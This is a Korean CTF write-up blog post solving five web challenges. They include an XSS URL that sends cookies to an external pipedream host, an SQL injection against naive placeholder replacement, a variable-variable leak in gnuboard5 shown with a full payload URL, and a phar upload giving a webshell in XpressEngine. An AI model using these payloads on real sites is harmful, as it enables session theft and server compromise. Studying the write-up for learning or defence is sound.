🗂️ INDEX

글 작성자: Universe7202

 

Cyberchef (web)

cyberchef_f22443a85385c81949eaf46da630c4403eda4f4d3031cb4581566d75bee61adf (1).tgz
0.00MB

 

XSS를 통한 Cookie 탈취 문제이다.

 

cyberchef 는 github에 opensource로 공개되어 있는데, issue 에서 XSS payload를 얻을 수 있었다.

https://github.com/gchq/CyberChef/issues/1265

 

http://1.230.253.91:8000/#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Elocation.href%3D%60https://enej1x0to8q6ktu.m.pipedream.net/?cookie%3D$%7Bdocument.cookie%7D`%3C/script%3E',100,false)&input=MTAwLCAxMDA

 

``hsctf{fa98fe3d32b4302aff1c322c925238a9d935b636f265cbfdd798391ca9c5a905}`

 

 

 

 

cyberheadchef (web)

해당 문제는 위 문제와 유사하지만 필터링이 걸려 있다. 이를 우회하기 위해서는 아래 링크에 잘 설명 되어 있다.

https://gist.github.com/as3617/256b92b451a863732e6c8992cbeda0a9#file-cyber-headchef-md

 

 

 

 

 

Not E (web)

not_e_a0cd1a5d2769489122fc9abf94e7a66818a9db65436963ab09f94086c3722a66 (3).tgz
0.00MB

 

SQL 문제이다. 위 첨부파일에서 utils.js 파일 내용 중, 아래 코드를 보면 ? 값을 다른 인자로 치환한 뒤 sql query를 리턴한다. SQLI 방어를 위해 더블쿼터와 역슬레시를 필터링 하고 있다.

 

 

위 코드에서 `sql.replace('?', ~~)` 를 보면, javascript 에서 `replace()` 함수는 한번만 문자를 다른 것으로 바꿔준다. 모든 문자를 바꾸기 위해서는 `param.replace(/["\\]/g, '')` 처럼 정규 표현식을 사용해야만 모든 문자를 바꿀 수 있다.

이 점을 잘 생각해 두자.

 

 

설명을 위해 위 문제의 첨부파일 중, 중요한 부분만 가져와 test.js 파일을 만들었다.

const noteId = "1";
const title = "title";
const content = "content";
const login = "universe";

const data = (sql, params = []) => {
    for (const param of params) {
        if (typeof param === 'number') {
        	sql = sql.replace('?', param);
        } else if (typeof param === 'string') {
        	sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));
        	console.log(sql);
        } else {
        	sql = sql.replace('?', ""); // unreachable
        }
    }

    console.log("최종: " + sql);
}


data('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, login ]);

 

 

위 코드를 실행하면, `replace()` 함수에 대해 설명한 것 처럼 ? 문자가 하나씩 다른 변수의 값으로 변경되는 것을 볼 수 있다.

 

 

만약, `title` 변수의 값을 `?` 로 바꾼 뒤, 실행하면 결과는 다음과 같다.
content 변수의 값은 세번째 위치에 있지 않고, 두번째 위치에 들어간 것을 볼 수 있다. 또한, `JSON.stringify()` 함수로 인해 더블쿼터가 한번 더 감싸져서 escape 된 것을 볼 수 있다.

 

 

최종적으로, content 변수에 `,(select flag from flag),'universe')-- -` 같은 값을 넣게 되면, sqli 가 가능하다는 것을 알 수 있다.

 

`hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}`

 

 

 

 

Gnuboard (web)

gnuboard_8dbed4effce62e64b8e365a7b103acd592d29f97c639af2ee9619792837f8eae (2).tgz
0.00MB

 

해당 문제는 gnuboard5 최신 버전에서 0-day 를 찾는(?) 문제이다.

위 첨부파일에서 Dockerfile 파일을 보면, common.php 파일 안에 `$flag` 라는 변수가 저장된 것을 볼 수 있다. 

 

발생한 취약점은 php의 가변 변수(혹은 동적 변수, dynamic variable name)를 통한 변수 값 leak 이다.

취약한 파일의 위치는 /shop/kakaopay/pc_pay_result.php 에서 발생한다.

 

취약점을 트리거 하기 위한 설명은 다음과 같다.

 

 

우선 `resultCode` 값을 GET 방식으로 0000 이라는 값을 보내야 한다.

https://github.com/gnuboard/gnuboard5/blob/master/shop/kakaopay/pc_pay_result.php#L19

 

 

 

이후, `HttpClient` 객체를 이용하여 `72번째` 줄에 `$authUrl` 변수에 저장된 값으로 request를 보내게 된다. 만약 에러가 발생한다면, `78번째` 줄에서 except를 발생 시킨다. 

https://github.com/gnuboard/gnuboard5/blob/master/shop/kakaopay/pc_pay_result.php#L65

 

 

`$authUrl` 변수는 마찬가지로 GET 방식으로 값을 전달할 수 있다. 즉, 공격자는 `$authUrl` 변수의 값을 조작하여 `65번째` 줄에서 예외를 의도적으로 일으킬 수 있다.

https://github.com/gnuboard/gnuboard5/blob/master/shop/kakaopay/pc_pay_result.php#L31

 

 

위 상황에서 예외가 발생한다면, `161번째` 줄로 except 발생을 처리한다. `175번째` 줄을 보면, 마찬가지로 `HttpClient` 객체를 이용하여 request 하는 것을 볼 수 있다.

https://github.com/gnuboard/gnuboard5/blob/master/shop/kakaopay/pc_pay_result.php#L161

 

위 코드에서 `175번째` 줄에 `$netCancel` 변수도 GET 방식으로 데이터를 전송할 수 있다. 

https://github.com/gnuboard/gnuboard5/blob/master/shop/kakaopay/pc_pay_result.php#L35

 

만약, 이번에는 정상적인 URL을 입력할 경우, 응답 받은 body 값(`176번째`)을 echo로 출력하는 것을 볼 수 있다. 

`186~187번째` 줄을 보면 `$$` 를 이용하여 php 가변 변수를 사용하는 것을 볼 수 있다.

`$netcancelResultString` 변수는 request에 대한 응답 값이 들어가므로, 공격자는 이를 조작하여 원하는 변수의 내용을 출력할 수 있다.

 

 

위 코드를 보면 두번의 가변변수를 사용한다. 따라서 GET 방식으로 전송할 수 있는 변수 중, `$authToken`(`33번째`) 변수를 이용한다. 

 

 

공격자의 서버는 응답 값으로 authToken을 리턴한다. 

첫번째 `str_replace()` 에서 `$$netcancelResultString` 변수는 `$authToken` 이 되므로, 공격자가 GET 방식으로 전송한 값이 `$netcancelResultString`에 들어간다.

두번째 `str_replace()` 에서 `$$netcancelResultString` 변수는 공격자가 GET 방식으로 전송한 값으로 대체된다. 예를 들어, 공격자가 flag라는 값을 전송하면 `$flag` 가 되므로 이 값이 `$netcancelResultString`에 들어간다.

 

최종적으로 `echo` 를 통해 `common.php` 파일에 있는 `$flag` 변수의 값을 출력하여 볼 수 있다.

 

최종 payload는 다음과 같다.

GET parameter
- resultCode = 0000
- netCancelUrl = https://test.lactea.kr/test.php  ( => response = authToken)
- authToken = flag


url
/shop/kakaopay/pc_pay_result.php?resultCode=0000&netCancelUrl=https://test.lactea.kr/test.php&authToken=flag

`hsctf{799c12711fd9d697a00ae3e6329a7979cc648d7cdae0fbb3d62f23a1f7c7f544}`

 

 

 

 

XpressEngine (web)

xpressengine_6e3cb0cc8d9761a984215e100c72cc0229c16cce56d255846ca8c102d75f8e36 (2).tgz
0.00MB

 

flag 파일은 / 경로에 있으며, 이를 읽어야 한다.

 

https://gist.github.com/posix-lee/cf5953b2d1157695fc2e61951182c020#file-xpressengine-md

위 링크에 설명되어 있는 것 처럼, 공격자가 "미디어 라이브러리" 기능을 통해 phar 파일을 업로드 하면 업로드 경로를 알 수 있고, 성공적으로 webshell을 얻을 수 있다.

 

 

코드 분석을 통해 설명하고자 한다.

 

 

우선, 회원가입을 하고 "미디어 라이브러리" 기능을 선택한다.

 

 

아래 사진처럼 파일을 업로드 할 수 있다.

 

 

파일 업로드를 처리하는 파일은 `/core/src/Xpressengine/MediaLibrary/MediaLibraryHandler.php` 에서 `484번째` 줄에서 시작한다. 아래 코드는 파일 크기를 검증하고 있다.

/ core/src/Xpressengine/MediaLibrary/MediaLibraryHandler.php:484

 

 

이후 파일 확장자를 검증한다.

`502 ~ 516번째` 줄에서는 파일 확장자를 검사하는 로직인데 디버깅 해본 결과, php, phar 등을 넣어도 이 로직에서 걸리지 않는다. 확장자를 검증하는 곳은 `518번째` 줄이다.

/ core/src/Xpressengine/MediaLibrary/MediaLibraryHandler.php:502

 

 

 

위 코드에서 `518번째` 줄에 `upload()` 함수를 호출하는데, 이 함수의 위치는 `/core/src/Xpressengine/Storage/Storage.php` 에서 `146 번째` 줄 이다. `155번째` 줄에서 `validateUploadedFile()` 함수를 호출한다.

/core/src/Xpressengine/Storage/Storage.php:146

 

 

`validateUploadedFile()` 함수는 위 파일에 존재하는데, 2가지의 조건문을 수행한다. 이 중에서, 2번째 조건문에서 파일 확장자를 검증한다. `$mimeFilter` 변수에 뭔가가 저장되어 있는데, 이를 찾아봤다.

/core/src/Xpressengine/Storage/Storage.php:206

 

 

같은 파일에 `131번째` 줄에 아래 사진처럼 코드를 추가하여 `$mimeFilter` 변수에 어떠한 값이 들어가 있는지 확인해보았다.

echo "<pre>" . var_export($mimeFilter, true) . "</pre>";

/core/src/Xpressengine/Storage/Storage.php:131

 

 

위 코드에 대한 출력 값은 다음과 같다. 여러개의 key 값 중, black list와 white list 목록이 보인다. `black list`에는 pdf 등을 필터링 하고 있고, `white list`에는 svg 등을 허용하고 있다. 하지만 black list에 보면 php 등을 필터링 하고 있지만, `phar` 은 필터링 하지 않는다.

(`/vendor/league/flysystem/src/Util/MimeType.php` 파일에서 정의를 볼 수 있다.)

 array (
    'default' => 'local',
    'cloud' => 's3',
    'disks' => 
    array (
      'local' => 
      array (
        'driver' => 'local',
        'root' => '/var/www/html/storage/app',
        'url' => '/storage/app/',
      ),
      'public' => 
      array (
        'driver' => 'local',
        'root' => '/var/www/html/storage/app/public',
        'url' => '/storage',
        'visibility' => 'public',
      ),
      'media' => 
      array (
        'driver' => 'local',
        'root' => '/var/www/html/storage/app/public/media',
        'url' => '/storage/app/public/media',
        'visibility' => 'public',
      ),
      's3' => 
      array (
        'driver' => 's3',
        'key' => NULL,
        'secret' => NULL,
        'region' => NULL,
        'bucket' => NULL,
      ),
    ),
    'division' => 
    array (
      'enable' => false,
      'disks' => 
      array (
        0 => 's3',
      ),
    ),
    'filter' => 'black',
    'mimes' => 
    array (
      'black' => 
      array (
        'pdf' => 'application/pdf',
        'mid' => 'audio/midi',
        'midi' => 'audio/midi',
        'mpga' => 'audio/mpeg',
        'mp2' => 'audio/mpeg',
        'mp3' => 'audio/mpeg',
        'aif' => 'audio/x-aiff',
        'aiff' => 'audio/x-aiff',
        'aifc' => 'audio/x-aiff',
        'ram' => 'audio/x-pn-realaudio',
        'rm' => 'audio/x-pn-realaudio',
        'rpm' => 'audio/x-pn-realaudio-plugin',
        'ra' => 'audio/x-realaudio',
        'rv' => 'video/vnd.rn-realvideo',
        'wav' => 'audio/x-wav',
        'jpg' => 'image/jpeg',
        'jpeg' => 'image/jpeg',
        'jpe' => 'image/jpeg',
        'png' => 'image/png',
        'gif' => 'image/gif',
        'bmp' => 'image/bmp',
        'tiff' => 'image/tiff',
        'tif' => 'image/tiff',
        'mpeg' => 'video/mpeg',
        'mpg' => 'video/mpeg',
        'mpe' => 'video/mpeg',
        'qt' => 'video/quicktime',
        'mov' => 'video/quicktime',
        'avi' => 'video/x-msvideo',
        'movie' => 'video/x-sgi-movie',
        '3g2' => 'video/3gpp2',
        '3gp' => 'video/3gp',
        'mp4' => 'video/mp4',
        'm4a' => 'audio/x-m4a',
        'f4v' => 'video/mp4',
        'webm' => 'video/webm',
        'aac' => 'audio/x-acc',
        'm4u' => 'application/vnd.mpegurl',
        'wmv' => 'video/x-ms-wmv',
        'au' => 'audio/x-au',
        'ac3' => 'audio/ac3',
        'flac' => 'audio/x-flac',
        'ogg' => 'audio/ogg',
        'wma' => 'audio/x-ms-wma',
        'ico' => 
        array (
          0 => 'image/x-icon',
          1 => 'image/vnd.microsoft.icon',
        ),
        'php' => 'application/x-httpd-php',
        'php4' => 'application/x-httpd-php',
        'php3' => 'application/x-httpd-php',
        'phtml' => 'application/x-httpd-php',
        'phps' => 'application/x-httpd-php-source',
        'js' => 'application/javascript',
      ),
      'white' => 
      array (
        'svg' => 'image/svg+xml',
        'hqx' => 'application/mac-binhex40',
        'cpt' => 'application/mac-compactpro',
        'csv' => 'text/x-comma-separated-values',
        'bin' => 'application/octet-stream',
        'dms' => 'application/octet-stream',
        'lha' => 'application/octet-stream',
        'lzh' => 'application/octet-stream',
        'exe' => 'application/octet-stream',
        'class' => 'application/octet-stream',
        'psd' => 'application/x-photoshop',
        'so' => 'application/octet-stream',
        'sea' => 'application/octet-stream',
        'dll' => 'application/octet-stream',
        'oda' => 'application/oda',
        'ai' => 'application/pdf',
        'eps' => 'application/postscript',
        'ps' => 'application/postscript',
        'smi' => 'application/smil',
        'smil' => 'application/smil',
        'mif' => 'application/vnd.mif',
        'xls' => 'application/vnd.ms-excel',
        'ppt' => 'application/powerpoint',
        'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
        'wbxml' => 'application/wbxml',
        'wmlc' => 'application/wmlc',
        'dcr' => 'application/x-director',
        'dir' => 'application/x-director',
        'dxr' => 'application/x-director',
        'dvi' => 'application/x-dvi',
        'gtar' => 'application/x-gtar',
        'gz' => 'application/x-gzip',
        'gzip' => 'application/x-gzip',
        'swf' => 'application/x-shockwave-flash',
        'sit' => 'application/x-stuffit',
        'tar' => 'application/x-tar',
        'tgz' => 'application/x-tar',
        'z' => 'application/x-compress',
        'xhtml' => 'application/xhtml+xml',
        'xht' => 'application/xhtml+xml',
        'zip' => 
        array (
          0 => 'application/x-zip',
          1 => 'application/zip',
        ),
        'rar' => 'application/x-rar',
        'css' => 'text/css',
        'html' => 'text/html',
        'htm' => 'text/html',
        'shtml' => 'text/html',
        'txt' => 'text/plain',
        'text' => 'text/plain',
        'log' => 'text/plain',
        'rtx' => 'text/richtext',
        'rtf' => 'text/rtf',
        'xml' => 'application/xml',
        'xsl' => 'application/xml',
        'dmn' => 'application/octet-stream',
        'bpmn' => 'application/octet-stream',
        'doc' => 'application/msword',
        'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
        'docm' => 'application/vnd.ms-word.template.macroEnabled.12',
        'dot' => 'application/msword',
        'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
        'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
        'word' => 'application/msword',
        'xl' => 'application/excel',
        'eml' => 'message/rfc822',
        'json' => 
        array (
          0 => 'application/json',
          1 => 'application/octet-stream',
          2 => 'text/plain',
        ),
        'pem' => 'application/x-x509-user-cert',
        'p10' => 'application/x-pkcs10',
        'p12' => 'application/x-pkcs12',
        'p7a' => 'application/x-pkcs7-signature',
        'p7c' => 'application/pkcs7-mime',
        'p7m' => 'application/pkcs7-mime',
        'p7r' => 'application/x-pkcs7-certreqresp',
        'p7s' => 'application/pkcs7-signature',
        'crt' => 'application/x-x509-ca-cert',
        'crl' => 'application/pkix-crl',
        'der' => 'application/x-x509-ca-cert',
        'kdb' => 'application/octet-stream',
        'pgp' => 'application/pgp',
        'gpg' => 'application/gpg-keys',
        'sst' => 'application/octet-stream',
        'csr' => 'application/octet-stream',
        'rsa' => 'application/x-pkcs7',
        'cer' => 'application/pkix-cert',
        'm3u' => 'text/plain',
        'xspf' => 'application/xspf+xml',
        'vlc' => 'application/videolan',
        'kmz' => 'application/vnd.google-earth.kmz',
        'kml' => 'application/vnd.google-earth.kml+xml',
        'ics' => 'text/calendar',
        'zsh' => 'text/x-scriptzsh',
        '7zip' => 'application/x-7z-compressed',
        'cdr' => 'application/cdr',
        'jar' => 'application/java-archive',
        'tex' => 'application/x-tex',
        'latex' => 'application/x-latex',
        'odt' => 'application/vnd.oasis.opendocument.text',
        'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
        'odp' => 'application/vnd.oasis.opendocument.presentation',
        'odg' => 'application/vnd.oasis.opendocument.graphics',
        'odc' => 'application/vnd.oasis.opendocument.chart',
        'odf' => 'application/vnd.oasis.opendocument.formula',
        'odi' => 'application/vnd.oasis.opendocument.image',
        'odm' => 'application/vnd.oasis.opendocument.text-master',
        'odb' => 'application/vnd.oasis.opendocument.database',
        'ott' => 'application/vnd.oasis.opendocument.text-template',
        'hwp' => 'application/x-hwp',
      ),
    ),
  ),
))

 

 

 

결과적으로, "미디어 라이브러리" 기능을 통해 phar 파일을 업로드 하면, webshell을 얻을 수 있다.

아래 사진처럼, 파일을 업로드 하면 응답 값으로 업로드 경로를 얻을 수 있다.

 

 

 

위에서 얻은 상대 경로를 종합하면, webshell 파일의 절대 경로는 다음과 같다.

/storage/app/public/media/public/media_library/d9/02/20220214121711b82261995fa20e91fc20da00dccde00c16b3278b.phar

 

`hsctf{860e27b9898e2510c14fa0f5efcd44f53437827aac9e26b8b8e792ce95b04ae2}`

'🚩CTF' 카테고리의 다른 글

[WACon 2022] Kuncɛlan write up  (0) 2022.06.27
zer0pts ctf 2022 GitFile Explorer write up  (0) 2022.03.27
HTML Viewer writeup  (0) 2022.02.04
[UMass 2021 CTF] write up  (0) 2021.03.29
[DamCTF 2020] write up  (1) 2020.10.12